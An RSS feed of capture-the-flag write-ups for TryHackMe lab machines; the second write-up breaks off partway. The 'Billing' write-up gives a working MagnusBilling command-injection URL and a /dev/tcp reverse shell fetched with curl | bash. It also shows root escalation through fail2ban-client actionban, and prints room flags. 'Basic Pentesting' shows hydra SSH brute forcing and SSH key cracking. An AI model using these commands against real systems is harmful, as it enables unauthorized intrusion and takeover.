<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Farhan Hussain</title>
    <description>The latest articles on DEV Community by Farhan Hussain (@cyberfarhan).</description>
    <link>https://dev.to/cyberfarhan</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F4209510%2Fd483f9af-b40c-40cf-bdfc-299932f31bcf.png</url>
      <title>DEV Community: Farhan Hussain</title>
      <link>https://dev.to/cyberfarhan</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/cyberfarhan"/>
    <language>en</language>
    <item>
      <title>Billing — TryHackMe</title>
      <dc:creator>Farhan Hussain</dc:creator>
      <pubDate>Mon, 26 Oct 2026 23:03:17 +0000</pubDate>
      <link>https://dev.to/cyberfarhan/billing-tryhackme-pap</link>
      <guid>https://dev.to/cyberfarhan/billing-tryhackme-pap</guid>
      <description>&lt;p&gt;&lt;strong&gt;Platform:&lt;/strong&gt; TryHackMe · &lt;strong&gt;Difficulty:&lt;/strong&gt; Medium · &lt;strong&gt;Category:&lt;/strong&gt; VoIP / Command Injection / Privilege Escalation&lt;/p&gt;

&lt;h2&gt;
  
  
  Introduction
&lt;/h2&gt;

&lt;p&gt;Today's target is &lt;strong&gt;Billing&lt;/strong&gt;, a box built around MagnusBilling — an open-source VoIP billing platform — sitting on top of the Asterisk PBX service it was written to invoice for. It's a good room for anyone who's only ever attacked generic CMS boxes, because the attack surface here is domain-specific: payment gateway integrations, call manager ports, a billing panel talking to a telephony backend. The foothold is a classic unauthenticated command injection in a third-party payment module — the kind of bug that shows up constantly in real deployments, because payment gateway plugins are bolted onto core applications by separate teams and reviewed far less rigorously. The escalation is the more memorable half: &lt;code&gt;fail2ban&lt;/code&gt;, a daemon whose entire job is to detect and block malicious behaviour, becomes the exact mechanism that hands over root, once you realise its client binary can redefine what a "block" actually does.&lt;/p&gt;

&lt;p&gt;If you're following along, you should already be comfortable with chained shell operators (&lt;code&gt;;&lt;/code&gt;, &lt;code&gt;|&lt;/code&gt;, &lt;code&gt;&amp;amp;&amp;amp;&lt;/code&gt;) in injection contexts, and it helps to know roughly how fail2ban's jails, filters, and actions relate to each other before the escalation section — I'll explain it as I go, but the short version is: jails watch logs, and actions decide what happens when a jail decides to ban someone.&lt;/p&gt;

&lt;h2&gt;
  
  
  Recon
&lt;/h2&gt;

&lt;p&gt;The port scan lays out the whole theme of the box before you've even loaded the webpage:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;rustscan &lt;span class="nt"&gt;-a&lt;/span&gt; 10.49.178.53 &lt;span class="nt"&gt;-r&lt;/span&gt; 1-65535 &lt;span class="nt"&gt;--ulimit&lt;/span&gt; 5000 &lt;span class="nt"&gt;-b&lt;/span&gt; 500 &lt;span class="nt"&gt;-t&lt;/span&gt; 2000 &lt;span class="nt"&gt;--&lt;/span&gt; &lt;span class="nt"&gt;-Pn&lt;/span&gt; &lt;span class="nt"&gt;-sV&lt;/span&gt; &lt;span class="nt"&gt;-sC&lt;/span&gt; &lt;span class="nt"&gt;-T4&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Port&lt;/th&gt;
&lt;th&gt;Service&lt;/th&gt;
&lt;th&gt;Version&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;22/tcp&lt;/td&gt;
&lt;td&gt;SSH&lt;/td&gt;
&lt;td&gt;OpenSSH 9.2p1 Debian&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;80/tcp&lt;/td&gt;
&lt;td&gt;HTTP&lt;/td&gt;
&lt;td&gt;Apache 2.4.62 — MagnusBilling&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3306/tcp&lt;/td&gt;
&lt;td&gt;MySQL&lt;/td&gt;
&lt;td&gt;MariaDB 10.3.23 or earlier&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5038/tcp&lt;/td&gt;
&lt;td&gt;Asterisk&lt;/td&gt;
&lt;td&gt;Asterisk Call Manager 2.10.6&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;A telecom-flavoured stack: MagnusBilling (the billing software) on top of Asterisk (the PBX it bills for), backed by MariaDB. Three unrelated-looking services that are actually one application.&lt;/p&gt;

&lt;p&gt;Feroxbuster against the web root surfaces the entire MagnusBilling install structure — &lt;code&gt;lib/&lt;/code&gt;, &lt;code&gt;fpdf/&lt;/code&gt;, and a cluster of payment gateway directories: &lt;code&gt;icepay/&lt;/code&gt;, &lt;code&gt;mercadopago/&lt;/code&gt;, &lt;code&gt;stripe/&lt;/code&gt;, &lt;code&gt;anet/&lt;/code&gt;, &lt;code&gt;PlacetoPay/&lt;/code&gt;. Nothing custom has been bolted on top; it's the stock application. That's actually useful information — it means the vulnerability, whatever it is, is either a known CVE in this MagnusBilling version or a flaw in one of those payment integrations. Payment gateway code is where I go first on boxes like this: it's maintained by whoever wrote the plugin, not the core MagnusBilling team, and it tends to carry more bugs because it's reviewed less.&lt;/p&gt;

&lt;h2&gt;
  
  
  Foothold
&lt;/h2&gt;

&lt;p&gt;IcePay's integration file, &lt;code&gt;icepay.php&lt;/code&gt;, accepts a &lt;code&gt;democ&lt;/code&gt; parameter. Instead of validating it, the application passes it straight into a shell execution context — most likely building a command string for some kind of payment verification or demo-mode check. That means anything after a shell metacharacter in that parameter rides along as a separate command.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;'bash -i &amp;gt;&amp;amp; /dev/tcp/192.168.134.217/4444 0&amp;gt;&amp;amp;1'&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; shell.sh
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;http://10.49.178.53/mbilling/lib/icepay/icepay.php?democ=/dev/null;curl%20http://192.168.134.217/shell.sh%20|%20bash;id
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;/dev/null&lt;/code&gt; up front is there to look like a plausible, harmless value for whatever &lt;code&gt;democ&lt;/code&gt; is supposed to be — the semicolon after it is what actually matters, chaining a &lt;code&gt;curl | bash&lt;/code&gt; fetch-and-execute onto an otherwise unauthenticated request. Catch it on a listener:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nc &lt;span class="nt"&gt;-nvlp&lt;/span&gt; 4444
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;connect to [192.168.134.217] from (UNKNOWN) [10.49.178.53] 53710
&lt;/span&gt;&lt;span class="gp"&gt;asterisk@ip-10-49-178-53:/var/www/html/mbilling/lib/icepay$&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Shell as &lt;code&gt;asterisk&lt;/code&gt; — the system account the Asterisk/MagnusBilling services run under. No authentication, no exploit development, just an unsanitised parameter doing exactly what it was given.&lt;/p&gt;

&lt;h2&gt;
  
  
  Shell / Access
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cd&lt;/span&gt; /home/magnus
&lt;span class="nb"&gt;cat &lt;/span&gt;user.txt
&lt;span class="c"&gt;# THM{4a6831d5f124b25eefb1e92e0f0da4ca}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Escalation
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;sudo -l&lt;/code&gt; is always the first thing I run after landing anywhere, and here it returns something worth pausing on:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;User asterisk may run the following commands on ip-10-49-178-53:
    (ALL) NOPASSWD: /usr/bin/fail2ban-client
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Fail2ban is a log-monitoring service that watches for malicious patterns — repeated failed SSH logins, for instance — and responds by banning the offending IP, typically by inserting a firewall rule. Its behaviour is split across two concepts: &lt;strong&gt;jails&lt;/strong&gt;, which define what log files to watch and for which patterns, and &lt;strong&gt;actions&lt;/strong&gt;, which define what actually runs when a ban fires. That &lt;code&gt;actionban&lt;/code&gt; setting is the part that matters here — it's literally a shell command, configurable per jail.&lt;/p&gt;

&lt;p&gt;My first instinct was the boring one: go check whether the action config files under &lt;code&gt;/etc/fail2ban/action.d/*.conf&lt;/code&gt; were writable, so I could just edit in a malicious command directly. They weren't — root-owned, standard permissions, no path in through the filesystem. For a minute that made the sudo rule look like a dead end.&lt;/p&gt;

&lt;p&gt;So I actually read the &lt;code&gt;fail2ban-client&lt;/code&gt; man page instead of assuming I already understood what the tool could do. It turns out you don't need to touch any file on disk — &lt;code&gt;fail2ban-client&lt;/code&gt; can redefine a jail's action &lt;strong&gt;live&lt;/strong&gt;, entirely from the command line:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo&lt;/span&gt; /usr/bin/fail2ban-client status
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Jail list: ast-cli-attck, ast-hgc-200, asterisk-iptables, asterisk-manager,
           ip-blacklist, mbilling_ddos, mbilling_login, sshd
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo&lt;/span&gt; /usr/bin/fail2ban-client &lt;span class="nb"&gt;set &lt;/span&gt;sshd action iptables-multiport actionban &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="s2"&gt;"/bin/bash -c 'curl http://192.168.134.217:4443/shell.sh | bash'"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That command doesn't execute anything by itself — it just rewrites what &lt;em&gt;will&lt;/em&gt; run the next time the &lt;code&gt;sshd&lt;/code&gt; jail decides to ban someone. To make that happen on demand rather than waiting for a real failed-login storm, you can just tell fail2ban to ban an address yourself:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo&lt;/span&gt; /usr/bin/fail2ban-client &lt;span class="nb"&gt;set &lt;/span&gt;sshd banip 127.0.0.1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Banning loopback is enough to satisfy the ban condition, which fires the &lt;code&gt;actionban&lt;/code&gt; command I'd just set — as root, because fail2ban itself runs with root privileges to manage firewall rules. A tool whose entire purpose is blocking malicious activity just executed my payload with full system privileges.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nc &lt;span class="nt"&gt;-nvlp&lt;/span&gt; 4442
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;connect to &lt;span class="o"&gt;[&lt;/span&gt;192.168.134.217] from &lt;span class="o"&gt;(&lt;/span&gt;UNKNOWN&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;10.49.178.53] 34872
root@ip-10-49-178-53:/# &lt;span class="nb"&gt;cat&lt;/span&gt; /root/root.txt
THM&lt;span class="o"&gt;{&lt;/span&gt;33ad5b530e71a172648f424ec23fae60&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Exploitation — The Full Chain
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;Unauthenticated command injection in &lt;code&gt;icepay.php&lt;/code&gt;'s &lt;code&gt;democ&lt;/code&gt; parameter → &lt;code&gt;curl | bash&lt;/code&gt; payload → shell as &lt;code&gt;asterisk&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;sudo fail2ban-client&lt;/code&gt; with NOPASSWD → redefined the &lt;code&gt;sshd&lt;/code&gt; jail's &lt;code&gt;actionban&lt;/code&gt; to a reverse shell payload&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;fail2ban-client set sshd banip 127.0.0.1&lt;/code&gt; → triggered the ban → action ran as root → root shell&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Rabbit Holes
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Direct config file editing.&lt;/strong&gt; Before finding the live reconfiguration path, I spent a few minutes checking whether &lt;code&gt;/etc/fail2ban/action.d/*.conf&lt;/code&gt; was writable by &lt;code&gt;asterisk&lt;/code&gt;. It wasn't, and in hindsight that was never going to be the intended route anyway — &lt;code&gt;fail2ban-client set&lt;/code&gt; doesn't require persistence on disk at all, which makes it a cleaner escalation path than file editing would have been even if the files &lt;em&gt;had&lt;/em&gt; been writable.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Payload iteration through actionban.&lt;/strong&gt; I tried a few different commands before settling on the reverse shell: first an attempt to copy &lt;code&gt;root.txt&lt;/code&gt; to a world-readable location, then copying and SUID-stamping &lt;code&gt;/bin/bash&lt;/code&gt;. Worth remembering — each new &lt;code&gt;actionban&lt;/code&gt; definition overwrites the previous one, so only the most recently set command fires on the next trigger. The SUID bash copy probably would have worked too; the reverse shell just happened to be the one I verified first.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Listener confusion.&lt;/strong&gt; One &lt;code&gt;nc -nvlp 4443&lt;/code&gt; session caught a raw &lt;code&gt;GET /shell.sh HTTP/1.1&lt;/code&gt; request instead of a shell — momentarily alarming, until I realised that was just &lt;code&gt;curl&lt;/code&gt; fetching the payload file as expected, not a failure. I'd conflated the listener serving the payload with the listener meant to catch the resulting connection. Running two separate listeners — one to serve, one to catch — cleared it up immediately.&lt;/p&gt;

&lt;h2&gt;
  
  
  Flags
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Flag&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;th&gt;Location&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;User&lt;/td&gt;
&lt;td&gt;&lt;code&gt;THM{4a6831d5f124b25eefb1e92e0f0da4ca}&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/home/magnus/user.txt&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Root&lt;/td&gt;
&lt;td&gt;&lt;code&gt;THM{33ad5b530e71a172648f424ec23fae60}&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/root/root.txt&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  Mitigations
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Vulnerability&lt;/th&gt;
&lt;th&gt;Severity&lt;/th&gt;
&lt;th&gt;Mitigation&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Unauthenticated command injection in &lt;code&gt;icepay.php&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Critical&lt;/td&gt;
&lt;td&gt;Update MagnusBilling to a patched version; never pass unsanitised request parameters into shell execution contexts; allowlist payment gateway callback parameters&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;sudo fail2ban-client&lt;/code&gt; with NOPASSWD&lt;/td&gt;
&lt;td&gt;Critical&lt;/td&gt;
&lt;td&gt;Never grant unrestricted sudo to &lt;code&gt;fail2ban-client&lt;/code&gt; — its &lt;code&gt;set&lt;/code&gt; subcommand allows arbitrary command execution via &lt;code&gt;actionban&lt;/code&gt;; scope any required automation to read-only subcommands&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Service account granted broad sudo rights&lt;/td&gt;
&lt;td&gt;High&lt;/td&gt;
&lt;td&gt;Service accounts should carry the minimum sudo footprint required; question why a web-facing account needs any access to security tooling at all&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  Key Takeaway
&lt;/h2&gt;

&lt;p&gt;Granting sudo access to a tool's &lt;em&gt;client&lt;/em&gt; binary isn't the same as granting access to only its "safe" operations. &lt;code&gt;fail2ban-client&lt;/code&gt;'s &lt;code&gt;set&lt;/code&gt; subcommand can redefine the exact command that runs on a security event, turning a defensive daemon into an arbitrary root code execution primitive. Before assuming a "monitoring" or "status" tool is safe to hand over via sudo, audit its full subcommand surface — the same question is worth asking of &lt;code&gt;systemctl&lt;/code&gt;, &lt;code&gt;docker&lt;/code&gt;, or any other client talking to a privileged daemon.&lt;/p&gt;




&lt;p&gt;&lt;strong&gt;Room:&lt;/strong&gt; TryHackMe — Billing&lt;/p&gt;

</description>
      <category>security</category>
      <category>ctf</category>
      <category>tryhackme</category>
      <category>writeup</category>
    </item>
    <item>
      <title>Basic Pentesting — TryHackMe</title>
      <dc:creator>Farhan Hussain</dc:creator>
      <pubDate>Mon, 26 Oct 2026 22:54:36 +0000</pubDate>
      <link>https://dev.to/cyberfarhan/basic-pentesting-tryhackme-4ha6</link>
      <guid>https://dev.to/cyberfarhan/basic-pentesting-tryhackme-4ha6</guid>
      <description>&lt;p&gt;&lt;strong&gt;Platform:&lt;/strong&gt; TryHackMe · &lt;strong&gt;Difficulty:&lt;/strong&gt; Easy · &lt;strong&gt;Category:&lt;/strong&gt; SMB Enumeration / Credential Brute Force / SSH Key Cracking&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; This one stops short of root. The engagement got as far as a second user account and a password file that's almost certainly the next pivot — but the final escalation and root flag weren't captured in the source notes this article is drawn from. Writing it up honestly rather than inventing an ending.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  Introduction
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Basic Pentesting&lt;/strong&gt; lives up to its name by covering the fundamentals in one tidy package: SMB enumeration, a web directory leak, password brute forcing, and SSH key cracking. The developer notes left sitting in a public &lt;code&gt;/development/&lt;/code&gt; folder are almost too on-the-nose — one developer explicitly bragging about cracking a colleague's password while reminding them to follow the password policy they themselves are violating. It's the kind of irony that makes for a memorable teaching box: the security audit that should have fixed the problem became the paper trail documenting it.&lt;/p&gt;

&lt;h2&gt;
  
  
  Recon
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;rustscan &lt;span class="nt"&gt;-a&lt;/span&gt; 10.49.180.112 &lt;span class="nt"&gt;-r&lt;/span&gt; 1-65535 &lt;span class="nt"&gt;--ulimit&lt;/span&gt; 5000 &lt;span class="nt"&gt;--&lt;/span&gt; &lt;span class="nt"&gt;-Pn&lt;/span&gt; &lt;span class="nt"&gt;-sC&lt;/span&gt; &lt;span class="nt"&gt;-sV&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Port&lt;/th&gt;
&lt;th&gt;Service&lt;/th&gt;
&lt;th&gt;Version&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;22/tcp&lt;/td&gt;
&lt;td&gt;SSH&lt;/td&gt;
&lt;td&gt;OpenSSH 8.2p1 Ubuntu 4ubuntu0.13&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;80/tcp&lt;/td&gt;
&lt;td&gt;HTTP&lt;/td&gt;
&lt;td&gt;Apache httpd 2.4.41 (Ubuntu)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;139/tcp, 445/tcp&lt;/td&gt;
&lt;td&gt;SMB&lt;/td&gt;
&lt;td&gt;Samba smbd 4&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;8009/tcp&lt;/td&gt;
&lt;td&gt;AJP&lt;/td&gt;
&lt;td&gt;Apache Jserv Protocol 1.3&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;8080/tcp&lt;/td&gt;
&lt;td&gt;HTTP&lt;/td&gt;
&lt;td&gt;Apache Tomcat 9.0.7&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;A wide attack surface for an "easy" box — SMB plus two separate web services beyond the main HTTP port. Tomcat 9.0.7 and the AJP protocol both got flagged mentally as backup options if the primary path stalled. It didn't, so neither was needed in the end.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;feroxbuster &lt;span class="nt"&gt;-u&lt;/span&gt; http://10.49.180.112/ &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-w&lt;/span&gt; /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-x&lt;/span&gt; php,xt,html
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;301  /development
200  /development/dev.txt
200  /development/j.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The homepage itself just shows "Undergoing maintenance" — the real content lives in &lt;code&gt;/development/&lt;/code&gt;. Combining &lt;code&gt;dev.txt&lt;/code&gt; and &lt;code&gt;j.txt&lt;/code&gt; into the actual developer changelog:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;2018-04-23: I've been messing with that struts stuff... using version 2.5.12 -K
2018-04-22: SMB has been configured. -K
2018-04-21: I got Apache set up. Will put in our content later. -J

For J:
I've been auditing the contents of /etc/shadow to make sure we don't have
any weak credentials, and I was able to crack your hash really easily.
You know our password policy, so please follow it? Change that password ASAP.
-K
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Three things worth noting here: SMB is confirmed configured, a Struts installation gets mentioned (potentially CVE-relevant on other boxes, though it didn't end up mattering here), and most importantly — &lt;code&gt;K&lt;/code&gt; is directly telling &lt;code&gt;J&lt;/code&gt; that their password is weak and crackable. That's effectively a hint that brute force is going to work on at least one account.&lt;/p&gt;

&lt;h2&gt;
  
  
  Foothold
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;enum4linux 10.49.180.112
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Key findings:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[+] Server allows sessions using username '', password ''   # null session
[+] Got OS info: Samba Server 4.15.13-Ubuntu

Users found via RID cycling:
  Unix User\kay     (Local User)
  Unix User\jan     (Local User)
  Unix User\ubuntu  (Local User)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Three usernames out of a null SMB session via RID cycling. &lt;code&gt;kay&lt;/code&gt; and &lt;code&gt;jan&lt;/code&gt; map directly onto the &lt;code&gt;K&lt;/code&gt; and &lt;code&gt;J&lt;/code&gt; initials from the developer notes — which turns the whole brute-force targeting decision into a non-decision.&lt;/p&gt;

&lt;p&gt;The dev note specifically said &lt;code&gt;J&lt;/code&gt;'s password was weak, so that's where I started:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;hydra &lt;span class="nt"&gt;-l&lt;/span&gt; jan &lt;span class="nt"&gt;-P&lt;/span&gt; /usr/share/wordlists/rockyou.txt ssh://10.49.180.112
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[22][ssh] host: 10.49.180.112   login: jan   password: armando
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Cracked within minutes, exactly as the developer note predicted it would be.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Username&lt;/th&gt;
&lt;th&gt;Password&lt;/th&gt;
&lt;th&gt;Where Found&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;jan&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;armando&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Hydra + rockyou.txt&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  Shell / Access
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ssh jan@10.49.180.112
&lt;span class="c"&gt;# Password: armando&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;jan@ip-10-49-180-112:~$&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;jan&lt;/code&gt;'s own home directory is sparse, just a permission-denied &lt;code&gt;.lesshst&lt;/code&gt; file. The real value turns out to be in checking what other home directories are accessible:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;ls&lt;/span&gt; /home
&lt;span class="c"&gt;# jan  kay  ubuntu&lt;/span&gt;

&lt;span class="nb"&gt;ls&lt;/span&gt; /home/kay/
&lt;span class="c"&gt;# pass.bak    (permission denied to read directly)&lt;/span&gt;

&lt;span class="nb"&gt;cd&lt;/span&gt; /home/kay/.ssh
&lt;span class="nb"&gt;ls&lt;/span&gt;
&lt;span class="c"&gt;# authorized_keys  id_rsa  id_rsa.pub&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;kay&lt;/code&gt;'s SSH key pair is sitting in a directory &lt;code&gt;jan&lt;/code&gt; can traverse into and read — a permissions misconfiguration in its own right. &lt;code&gt;id_rsa&lt;/code&gt; is encrypted with a passphrase (&lt;code&gt;Proc-Type: 4,ENCRYPTED&lt;/code&gt;).&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ssh2john id_rsa &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; key.hash
john &lt;span class="nt"&gt;--wordlist&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/usr/share/wordlists/rockyou.txt key.hash
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;beeswax   (id_rsa)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Passphrase: &lt;code&gt;beeswax&lt;/code&gt;, cracked instantly. SSH login as &lt;code&gt;kay&lt;/code&gt; using the now-usable key:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ssh kay@10.49.180.112 &lt;span class="nt"&gt;-i&lt;/span&gt; id_rsa
&lt;span class="c"&gt;# Enter passphrase: beeswax&lt;/span&gt;
